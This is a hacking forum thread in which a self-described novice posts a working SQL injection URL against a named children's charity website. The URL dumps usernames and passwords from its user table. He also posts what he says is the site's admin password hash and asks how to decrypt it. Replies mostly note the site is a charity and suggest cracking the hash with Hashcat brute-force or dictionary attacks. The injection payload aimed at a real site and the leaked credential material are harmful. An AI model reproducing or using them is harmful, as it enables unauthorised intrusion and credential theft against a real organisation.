[cr33pyguy]

The goes as follows:
$2aEo89gH4Clc
This would be the admin password for:

Code:

http://www.actforkids.com.au/news_full.php?id=-134%20union%20select%20all%201,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14%20from%20user

(In the url it will show the username:password already.)
(EDIT: the url didn't seem to work, so i put it in the code thingy)
(EDIT EVEN FURTHER: Well, it still doesn't work, don't know why...)
I dont know why it cant be decrypted, any idea

P.S. im new to hacking

[JackDaniels]

I would love to help but.

PHP Code:

http://www.actforkids.com.au 


It's an organisation that helps kids so I chose a white hat method and contacted them about their security issue.

[i0xIllusi0n]

I would love to help but.

PHP Code:

http://www.actforkids.com.au 


It's an organisation that helps kids so I chose a white hat method and contacted them about their security issue.

That's still blackhat if you're going to use it for malicious purposes... >_>

[cr33pyguy]

I would love to help but.

PHP Code:

http://www.actforkids.com.au 


It's an organisation that helps kids so I chose a white hat method and contacted them about their security issue.

Yea, wasn't planning on using it for anything, just trying out SQL injection for the first time.
anyway, how do you decrypt a password, just as a general question?

[TechSaavy]

Hash password as I know (at least most of them) are one-way algorithms. That means you can't decrypt it. You will have to crack it, or use a dictionary. Your best bet would be Hashcat (can be found on google, use it to brute-force the password or use a dictionary attack)

[i0xIllusi0n]

I would love to help but.

PHP Code:

http://www.actforkids.com.au 


It's an organisation that helps kids so I chose a white hat method and contacted them about their security issue.

Yea, wasn't planning on using it for anything, just trying out SQL injection for the first time.
anyway, how do you decrypt a password, just as a general question?

Hashes are one-way methods, so you'd need to bruteforce or dictionary attack it. However, this is a hash I have never seen before, if it even is a hash to begin with, not sure.